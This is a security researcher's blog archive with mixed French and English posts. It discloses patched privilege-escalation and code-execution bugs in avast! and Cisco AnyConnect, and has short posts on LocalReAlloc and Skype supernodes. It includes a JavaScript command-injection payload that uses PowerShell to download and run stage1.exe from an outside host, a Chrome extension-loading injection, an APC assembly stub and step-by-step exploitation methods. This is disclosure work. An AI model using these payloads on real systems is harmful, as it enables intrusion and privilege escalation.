Monday, August 3, 2015

avast! Contournement de la protection personnelle

Voici un autre probleme de logique, cette fois-ci au niveau noyau. Il a ete corrige l'annee derniere dans les version vulnerables d'avast!.

Resume

Type de vulnerabilite: probleme de logique
Vecteur: IOCTL a \\.\aswSP_Open
Impact: contournement de la protection personnelle (rendre un processus "de confiance")
Verifie sur: avast! Free aswSP.sys v9.0.2018.391

Description

La protection personnelle d'avast! (self-protection en Anglais) permet au programme de se proteger de programmes malicieux. Elle est implemente dans le module noyau aswSP.sys et utilise un concept de niveau de confiance pour les processus executes sur le systeme. aswSP.sys offre une variete de peripheriques et IOCTLs associes, mais une grande partie d'entre eux requiert des privileges administratifs, ou d'etre appele depuis un processus de confiance. Cependant, certain d'entre eux sont accessibles par des utilisateurs non privilegies, notamment au travers de \\.\aswSP_Open.

Par example, pour savoir si la protection personnelle est activee, on peut interroger l'IOCTL 0xb2d60190, et pour savoir si un processus est de confiance, 0xb2d600cc. Les processus de confiance executes par defaut sont System, AvastSvc.exe, AvastUI.exe et afwServ.exe sur les versions ayant le parefeu. Cela est illustre par le script Python suivant:


Un processus de confiance peut modifier le niveau de confiance d'un autre processus. Un IOCTL (0xb2d60198) permet a un processus de devenir de confiance, mais son fonctionnement est quelque peu alambique. Cet IOCTL prend pour parametre en entree un buffer de 0x19 octets qui contient, entre autres, deux pointeurs de fonction en mode utilisateur (Ring 3). Le code de l'IOCTL va determiner dans quel module se situent ces deux pointeurs, et verifier sa signature. Il ne s'agit pas d'une signature de binaire normale de Windows, mais une signature specifique a avast!. Si le binaire n'est pas signe, ou si la signature est invalide, l'appel va echouer. Par contre si tout se passe bien, le pilote noyau va mettre en queue un APC utilisateur qui executera un des pointeurs de fonction. En fonction de ce que va faire cette procedure (modifier les parametres passes), le pilote finira par appeler une fonction qui monte le niveau de confiance du processus dont le PID a ete passe dans le buffer d'entree.

.text:0001981C kk_SetProcessTrustCallback proc near    ; DATA XREF: kk_aswSP_Open_DispatchIoControl+2B7 o
.text:0001981C
.text:0001981C arg_0           = dword ptr  8
.text:0001981C
.text:0001981C                 mov     edi, edi
.text:0001981E                 push    ebp
.text:0001981F                 mov     ebp, esp
.text:00019821                 mov     eax, [ebp+arg_0]
.text:00019824                 movzx   ecx, byte ptr [eax+8]
.text:00019828                 push    ecx             ; char
.text:00019829                 push    dword ptr [eax+4] ; PVOID
.text:0001982C                 call    kk_SetProcessTrust0Or2
.text:00019831                 pop     ebp
.text:00019832                 retn    4
.text:00019832 kk_SetProcessTrustCallback endp

Afin de prevenir certains abus possibles, le pilote verifie que le processus appelant l'IOCTL n'est pas en train d'etre debogue:

.text:00019496                 push    ebx             ; ReturnLength
.text:00019497                 push    4               ; ProcessInformationLength
.text:00019499                 lea     eax, [ebp+var_3C]
.text:0001949C                 push    eax             ; ProcessInformation
.text:0001949D                 push    ProcessDebugPort ; ProcessInformationClass
.text:0001949F                 push    0FFFFFFFFh      ; ProcessHandle
.text:000194A1                 call    ds:NtQueryInformationProcess

Un des scenarios qui semble-t-il n'a pas ete pris en compte par les developpeurs d'avast! est la possibilite de lancer un binaire avast! signe en mode suspendu, puis d'y injecter une tache. Bien evidemment cela necessite que vous fournissions des pointeurs de fonctions pour le buffer d'entree de l'IOCTL au sein du binaire en question, et que ces pointeurs soient suffisamment interesssants pour qu'on finisse par executer du code sous notre controle. On peut par exemple utiliser un trampoline qui  lit un pointeur de fonction depuis la section .data du binaire et l'execute:

.text:005E0BCD                 mov     eax, dword_7114F8
.text:005E0BD2                 test    eax, eax
.text:005E0BD4                 jz      short loc_5E0BE4
.text:005E0BD6                 lea     ecx, [ebp+var_30]
.text:005E0BD9                 push    ecx
.text:005E0BDA                 push    3
.text:005E0BDC                 call    eax ; dword_7114F8

Ce gadget se trouve dans AvastUI.exe, un binaire signe par avast!

Afin de transformer notre code en code de confiance, il nous suffit de suivre les etapes suivantes:

  • creer AvastUI.exe (ou un autre binaire signe contenant un gadget acceptable) en mode suspendu
  • injecter une tache (en fait j'ai ecrit une DLL pour ca) qui va:
    • trouver le gadget dans le binaire (ici 005E0BCD)
    • ecrire le pointeur de fonction que nous voulons executer (ici a dword_7114F8)
    • appeler l'IOCTL 0xb2d60198 en contruisant correctement le buffer d'entree

Ainsi les verifications faites par le pilote vont reussir, et notre fonction va etre executee via un APC utilisateur. Maintenant pour que le pilote change le niveau de confiance du processus, il faute que cette fonction modifie un parametre de la facon suivant:

__declspec( naked ) DWORD UserModeAPCFunction( )
{
    __asm
    {
        //int 3
        mov eax, dword ptr [esp + 10h]
        test eax,eax
        jz skip
        mov dword ptr [eax], 41414141h
skip:
        xor eax,eax
        add esp, 0Ch
        ret
    }
}

A partir d'ici, notre code est de confiance, et on peut faire ce que l'on veut avec l'antivirus (EoP, desactivation, etc).


Voici le code de la DLL a injecter:

Thursday, July 30, 2015

avast! Cache a Virus RPC EoP (et RCE potentiel dans certaines versions)

Un autre probleme corrige dans avast! il y a un peu plus d'un an. Et encore une fois, une vulnerabilite qui ne necessite pas de corruption memoire. Comme le dit le dicton, les corruptions memoire, c'est pour plus tard.

Resume

Type de vulnerabilite: probleme de logique
Vecteur: appel LPC (ou RPC) a c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0
Impact: EoP a SYSTEM, ou RCE potentiel dans les versions entreprises d'avast!
Verifie sur: avast! Free ashServ.dll v9.quelquechose

Description

La cache a virus d'avast! est controlee par une interface RPC implementee dans ashServ.dll, cette interface etant c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0. Par default, cette interface n'ecoute que sur un point de terminaison local (ncalrpc), mais dans certaines configurations du logiciel - notamment les versions entreprises - elle peut aussi ecouter sur un port TCP (ncacn_ip_tcp). Aucune de ces deux interfaces ne requerait d'authentification, mais certaines fonctions necessitaient un mot de passe sous forme de chaine de characteres dans les donnees RPC (verifie via MD5). Sur une connexion locale (ou si l'option de configuration de la cache "CheckPassword" est desactivee), le mot de passe n'etait pas verifie.

.text:6512BC91                 call    ds:RpcStringBindingParseW
.text:6512BC97                 test    eax, eax
.text:6512BC99                 jnz     loc_6512BD24
.text:6512BC9F                 push    offset aNcalrpc ; "ncalrpc"
.text:6512BCA4                 push    [ebp+Protseq]   ; wchar_t *
.text:6512BCA7                 call    ds:_wcsicmp
.text:6512BCAD                 add     esp, 8
.text:6512BCB0                 test    eax, eax
.text:6512BCB2                 jz      short AUTH_SUCCESS
.text:6512BCB4                 push    1
.text:6512BCB6                 push    offset aCheckpassword ; "CheckPassword"
.text:6512BCBB                 push    offset aChest   ; "Chest"
.text:6512BCC0                 call    ds:aswGetAvastPropertyInt
.text:6512BCC6                 add     esp, 0Ch
.text:6512BCC9                 test    eax, eax
.text:6512BCCB                 jz      short AUTH_SUCCESS

Le problem reside dans la fonction RestoreFile offerte par l'interface RPC. Une fois appelee pour un identifiant de fichier donne, la fonction de restauration va utiliser les proprietes OrigFolder et OrigFileName associees a ce fichier et restaurer aveuglement le fichier a l'emplacement specifie en tant que SYSTEM, et ce quelque soit le niveau de privilege de l'appelant.

.text:6512BA84                 push    104h
.text:6512BA89                 lea     eax, [ebp+var_834]
.text:6512BA8F                 push    eax
.text:6512BA90                 push    offset aOrigfolder ; "OrigFolder"
.text:6512BA95                 mov     ecx, esi
.text:6512BA97                 call    edi ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *) ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *)
.text:6512BA99                 push    offset word_65136530
.text:6512BA9E                 push    104h
.text:6512BAA3                 lea     eax, [ebp+var_424]
.text:6512BAA9                 push    eax
.text:6512BAAA                 push    offset aOrigfilename ; "OrigFileName"
.text:6512BAAF                 mov     ecx, esi
.text:6512BAB1                 call    edi ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *) ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *)
.text:6512BAB3                 lea     eax, [ebp+var_424]
.text:6512BAB9                 push    eax
.text:6512BABA                 lea     eax, [ebp+var_834]
.text:6512BAC0                 push    eax
.text:6512BAC1                 push    offset aSS_0    ; "%s\\%s"
.text:6512BAC6                 lea     eax, [ebp+var_21C]
.text:6512BACC                 push    104h            ; size_t
.text:6512BAD1                 push    eax             ; wchar_t *
.text:6512BAD2                 call    ds:_snwprintf

Pour elever ses privileges, un utilisateur local (ou distant) peut appeler la fonction RPC de la cache AddFile en specifiant les proprietes OrigFolder et OrigFileName comme etant celles d'un fichier qu'il veut ecraser (ou creer), et puis appeler la fonction RestoreFile. De cette facon, il peut ecraser tout binaire SYSTEM, ou creer un fichier MOF a-la-Stuxnet pour execute du code en tant que SYSTEM.

Pour avast! Free, c'est seulement un EoP, mais pour avast! Endpoint Protection, si le RPC de la cache est configure pour ecouter sur un port TCP (16108 par default), cela pourrait se transformer en RCE, le probleme etant que la fonction RestoreFile verifiait le mot de passe.

Notez que la fonction AddFile permet de specifier le contenu du fichier, modulo un "chiffrement" de type XOR avec une cle enorme. Le code suivant utilise impacket pour effecture la requete RPC (j'ai du enlever la cle parceque sinon pastebin part en vrille):



Tuesday, July 28, 2015

avast! Partage d'interface RPC EoP

Depuis tout petit, j'ai toujours voulu tirer avantage du partage des poignees de contextes RPC dans un processus Windows. En effet, par defaut les context_handle sont partages pour toutes les interfaces RPC au sein d'un meme processus: un client peut creer un contexte sur une interface, et passer ce meme contexte a une autre interface (sauf attribut specifique dans la definition de l'interface: Strict and Type Strict Context Handles). Cependant, je n'ai jamais eu l'occasion d'exploiter une vulnerabilite se fondant sur ce predicat, car generalement quelque chose va de travers au moment de l'utilisation de la structure associee au contexte.

Mais grace a avast!, j'ai finalement pu realiser ce reve d'enfance (ou du moins d'il y a une dizaine d'annees). Comme pour l'entree precedente, la vulnerabilite a ete corrigee il y a un an.

Enfin, desole pour les traductions approximatives (handle=poignee?), j'ai arrete de lire les bulletins du CERT-A il y a longtemps! (et je ne me relis pas edit: @n_joly et @0xeb m'envoient les erreurs, et je corrige :()

Resume

Type de vulnerabilite: partage de contexte RPC
Vecteur: appel LPC a eb915940-6276-11d2-b8e7-006097c59f07 v4.0
Impact: EoP a SYSTEM, contournement de la self-defense
Verifie sur: avast! Free aavm4h.dll v9.0.2018.391

Description

aavm4h.dll implemente quelques interfaces RPC qui sont hebergees dans le processus AvastSvc.exe. La plus interessante est eb915940-6276-11d2-b8e7-006097c59f07 v4.0, qui offre des fonctions qui effectuent des taches sensibles. Cependant ces fonctions requierent un context_handle afin de s'executer correctement. Ce context_handle peut etre demande par un client via la fonction RPC 0 de l'interface, si le client est "sur" (via un appel a secIsProcessTrusted qui met en jeu un mechanisme implemente par des drivers d'avast! et des signatures d'executables specifiques). Par defaut, si la self-defense est active, un processus n'est pas considere sur, et aucune des fonctions ne peut etre atteinte.

C'est ici qu'intervient le partage de poignees de contextes RPC. Par defaut sous Windows, toutes les interfaces RPC dans un meme processus partagent les points de terminaison, mais aussi les poignees de contexte. Pour eviter ce partage, un attribut strict_context_handle doit etre utilise, comme explique plus haut.

Cela se revele interessant puisque AvastSvc.exe heberge d'autres interfaces qui donnent des context_handle a des utilisateurs non privilegies. Par exemple dbe95f8e-2be7-4b70-96f3-369be27fa432 v1.0, offert par aswPatchMgmt.dll ne requiert ni privilege specifique, ni processus "sur" pour accorder une poignee de contexte.

Pour exploiter cette vulnerabilite, on va appeler la fonction 6 de dbe95f8e-2be7-4b70-96f3-369be27fa432, qui nous donne un context_handle, et utiliser ce context_handle pour appeler une fonction de eb915940-6276-11d2-b8e7-006097c59f07. Quelle fonction choisir? Parmi les fonctions interessantes: AavmDisableSelfDefense, ou la fonction 0x4a qui appelle CreateProcess. Mais cette fonction ne nous permet pas de fournir la ligne de commande complete de l'executable a creer. Elle offre seulement un choix de 5 executables d'avast!. La bonne nouvelle c'est que AvastEmUpdate.exe (choix numero 2) accepte un argument /applydll qui nous permet de specifier le chemin complet d'une bibliotheque qui sera chargee dans le processus, lui meme execute en tant que SYSTEM.

Ce qui nous donne les memes privileges:


Au passage je ne saurai trop recommender RpcView pour fouiller dans ce bazarre d'interfaces RPC & LPC. Malheureusement mIDA de Nicolas Pouvesle est toujours indispensable pour jouer avec les squelettes RPC en ligne (inline stub), et c'est pas faute de m'etre plaint :).

Au final, je vais vous epargner les copier-coller des interfaces IDL et me contenter du fichier C principal:



The avast! Series

I spent some time quite a while ago looking into avast! and, after about a year, I am going to post about the issues that were found, and fixed back then. The whole project was pretty fun, avast! offers a lot of functionalities and as such a ton of components to look into. Identifying the security boundaries and attack surface required a decent understanding of the product: services, opened ports, LPC or RPC interfaces, kernel drivers and their IO controls or filters, browser components, various parsers, "self-defense", etc.

A decent number of issues were found, and Igor and the avast! bug bounty team fixed them promptly, and extensively - I think they did a great job at not concentrating on the specific issues submitted but thinking about the bigger picture, variants and remediation.

I will start with one of the juicier ones, as it allowed RCE from a browser.

avast! Client-Side Remote Code Execution

Summary

Bug type: command injection
Vector: Javascript from browser
Impact: remote code execution within the SafeZone
Verified on: avast! Free AvastUI.exe v9.0.2018.397

Description

avast! offers a SafeZone functionality that creates a separate desktop, and runs processes in a sandboxed environment on this desktop. This SafeZone component comes with a SafeZone Browser that basically is Google Chrome. The SafeZone component is not available in the Free version of avast!, as the browser is not installed, and the UI interface doesn't allow to switch to the SafeZone. Yet, the core functionalities of the SafeZone are present and the SafeZone can be launched, through LPC, the local HTTP Daemon, or browser addons.

There are two issues that can be leveraged to achieve code execution, both of them resulting from an injection in the command line of the SafeZone browser. In order to demonstrate the issue, we will use the avastBHO.SwitchToSafezone API in Javascript for the IE BHO. This is accessible when the extension is enabled (default), and for all websites except a few local exceptions.

Let's start with the Free version of avast!. In this version, the SafeZone browser is not installed, so when trying to switch to the SafeZone, Windows will attempt to parse the command line to find the binary. Here is the output of ProcessMonitor illustrating this:



As you can see, this becomes an issue because each component of the command line will end up being considered a directory at some point. It is trivial to go up in the tree using the usual ..\ sequence:

avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe')



This will execute directly a cmd.exe in the SafeZone in avast! Free. Now, in order to download and execute something extra, we just need to couple that with a bit of PowerShell (for Windows 7+):

avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c "cd %TEMP%&PowerShell (New-Object System.Net.WebClient).DownloadFile(\'http://192.168.233.1:8001/stage1.exe\',\'stage1.exe\');(New-Object -com Shell.Application).ShellExecute(\'stage1.exe\');"')

This will download and execute stage1.exe, still in the SafeZone. At this point, we can execute whatever we want, but are still restrained to the sandboxed environment of the SafeZone (file system, registry and privileges).

The avastBHO object can become unreachable after some attempts, and IE has to be relaunched.

Escaping the SafeZone

For the sake of completeness, I wrote up a quick SafeZone escape through Windows messages. Doing a CreateProcess from stage1.exe or equivalent still has us stuck in the SafeZone file system. Since we can switch desktop easily, the provided escape just switches back to the Default desktop, pops-up the Windows Run dialog by sending a WM_HOTKEY message, sets the content of the edit box to the command to execute, and presses OK. It can be a bit racey at times, and could use some Q&A, but it's working often enough.


What about Chrome/Firefox/etc?

Extensions for Chrome and Firefox appear to offer the same SwitchToSafezone functionality but I am actually not sure on how to script them or if they are even accessible. Those extensions merely wrap HTTP requests to the local HttpDaemon running in AvastSvc.exe on port 27275, which uses Google's libprotobuf-lite. A switch to SafeZone can be triggered by issuing command 7 to that server, and this vector is also vulnerable to the command injection.

What about non-free versions of avast!?

Now for avast! Premier and other versions including the browser, we cannot use the ..\ trick as it will not succeed since the binary exists, but we can inject an argument to Chrome. The argument that matters is the --load-extension one, which will attempt to load an extension, and accepts UNC paths, for example you can try:

avastBHO.SwitchToSafezone('--load-extension=\\\\127.0.0.1\\malicious')

I haven't pushed the research to writing an actual malicious extension.

Tuesday, June 23, 2015

Cisco AnyConnect Secure Mobility Client v3.1.06073 EoP

After a long period of silence on this blog, here is a new entry, in English. I'll try to post new things every now and then in French or English!

A vulnerability has been identified in Cisco AnyConnect Secure Mobility Client v3.1.06073 for Windows. This vulnerability could be leveraged by a local unprivileged user to get SYSTEM privileges, and was successfully exploited on a Windows 7 x64 platform.

Once installed, AnyConnect will start the executable vpnagent.exe as a SYSTEM service. This process opens the TCP port 62522 locally and parses requests that are sent to it. The protocol is simple and follows a TLV structure. It will execute different handlers based on the type of the request.

An interesting handler is CMainThread::launchClientApp in vpnagent.exe. This request takes 3 string parameters:

  1. The full path to the binary to be executed
  2. The command line arguments to that binary
  3. The desktop to launch it on
As a security measure, vpnagent.exe verifies that the binary to be executed is validly signed by "Cisco Systems, Inc." through a call to CProcessApi::SetVerifyFileSignature, preventing us from launching any random binary as SYSTEM.

Having a look at the other Cisco signed binaries present, VACon64.exe (amd64 specific version) stands out. This binary will take a part to a directory as an argument, and execute InstallHInfSection on a hardcoded .inf file name. This is particularly unsafe, as we can build out own .inf file to install a service that will, for example, execute cmd.exe interactively as SYSTEM - we just need to make sure to set a DACL that will make it available to anyone.

Provided are 2 files to exploit the service on a 64-bit platform:
  1. c.py is a Python 2.7 script that will launch VACon64.exe with our .inf file by sending the specifically crafted request to the vpnagent service
  2. acsock64.inf is the crafted .inf file that will install an interactive cmd.exe service (named InteractiveCmd) [it can probably be improved, but it's a good starting point]
Both files need to be in the same directory, and c.py executed by an unprivileged user. Said user can then do a "net start InteractiveCmd" to start a SYSTEM cmd.exe in Session 0. The Session 0 Isolation Service should detect it and offer to switch to that session (verified with Windows 7, Windows 10 appear to not switch even though the SYSTEM cmd.exe was successfully launched). The service can then be removed with "sc delete InteractiveCmd".

This vulnerability was reported to Cisco on January, 26th 2015 (PSIRT-1269982510). It was fixed with releases 4.0.02052 and 3.1.08009 of AnyConnect, announced in a security bulletin on June, 23rd 2015 (assigned CVE-2015-4211) [148 days].

Wednesday, June 13, 2012

Comportement inattendu de LocalReAlloc sous XP SP3

Note: J'ai cherche (rapidement) si quelqu'un avait deja documente le comportement, mais je n'ai rien trouve. Si j'ai rate quelque chose, n'hesitez pas a m'envoyer les liens, je les rajouterai.

Ce week-end, je suis tombe sur une vulnerabilite qui m'a ammene a m'interesser au comportement de LocalReAlloc, et donc RtlReAllocateHeap. Le probleme se resumait a passer un pointeur de pile a des fonctions attendant un pointeur de tas. Vu que cela ne sonne pas tres bien en Francais, voici un morceau code illustrant cela:


Les appels a LocalFree ou LocalReAlloc dependent des branches et boucles internes a la fonction, et les tailles et index ont ete choisis par hasard.

Qui dit XP SP3, dit aussi cookie de tas, et verification des listes doublement chainees. Il ne sera donc pas surprenant de voir que LocalFree (RtlFreeHeap) va echouer la plupart du temps, sauf si vous etes tres doues. Voici un example des verifications qui peuvent vous attendre:


Au final, LocalFree rate, ne retourne pas NULL, et le pointeur passe n'est pas touche. Pour obtenir quelque chose d'interessant avec LocalFree, il faudrait passer la verification du cookie, et declencher une liberation vers le Lookaside par exemple.

Par contre, LocalReAlloc ne fonctionne pas pareil. D'apres le MSDN, si la reallocation rate, la fonction est sensee retourner NULL, avec un code d'erreur recuperable via GetLastError(). Mais en analysant la fonction, on se rend rapidement compte qu'il existe des chemins qui retournent directement le pointeur passe en cas d'erreur, sans meme verifier le cookie.

Par example, si l'entete du chunk n'est pas marque comme etant occupe (ou du moins ce que NtDll pense etre l'entete du chunk), une erreur STATUS_INVALID_PARAMETER va etre levee, mais la fonction va quand meme retourner le pointeur passe (en version simplifiee).

Voici les quelques blocs en question:

...
...

Un rapide programme pour tester cela donne (a lancer sans que le tas soit en mode debug):


LocalReAlloc retourne un pointeur non NULL, le programme pense que la reallocation a ete un succes. Alors que q pointe sur la pile et toute copie vers q va deborder l'espace reserve pour p au dela de 8 octets.
En lancant le meme programme sous Windows 7, une erreur critique est detectee, et le programme termine.

En soi, cela ne constitue pas une vulnerabilite. Par contre, couple a une corruption de pointeur comme expliquee au debut (ou meme LSB d'un pointeur de tas), on se retrouve avec un programme pensant avoir un espace fraichement realloue sur le tas, alors qu'il va ecraser des donnees quelque part ailleurs (pile dans notre exemple).

Friday, May 4, 2012

To all the tin foil hat wearers

I can't help but notice that the vast majority of people can't process a piece of news such as the one that was posted recently on this blog. To quote Lao Tzu "Those who know do not speak, those who speak, do not know", or something in that regard (sweet irony for I am now speaking).

What are Skype supernodes? As explained in the Skype presentations given 6 years ago, Skype supernodes are a directory and routing service. They are basically the Yellow Pages of Skype, you send them your blobs, and you query them to get your contacts' blobs. If you are behind a NAT or firewall, they will route requests to you. Do they route voice calls (or IM)? No. Relay nodes take care of those if you can't communicate directly with the other end. There is a mutual exclusivity in that a node can't be a relay and a supernode at the same time. At this time, relays are still random machines in the "wild", and people from that "Skype Open Source Project" are full of shit.

Once again, as explained in Vanilla Skype, when you establish a session with a peer - through a relay or directly - each party sends to the other a half-AES key encrypted with the public RSA blob of the other party. Then the session is encrypted using that session key. This means that the end to end traffic is encrypted with something neither the supernode, nor the relay node, nor Skype, know stuff about: because they do *not* have your private RSA key. Does having centralized Supernodes ease wiretapping? No. Does it make the network more reliable, secure, and scalable? Most likely.

Read the slides (part 1 & part 2). If you don't understand them, too bad, you are missing out.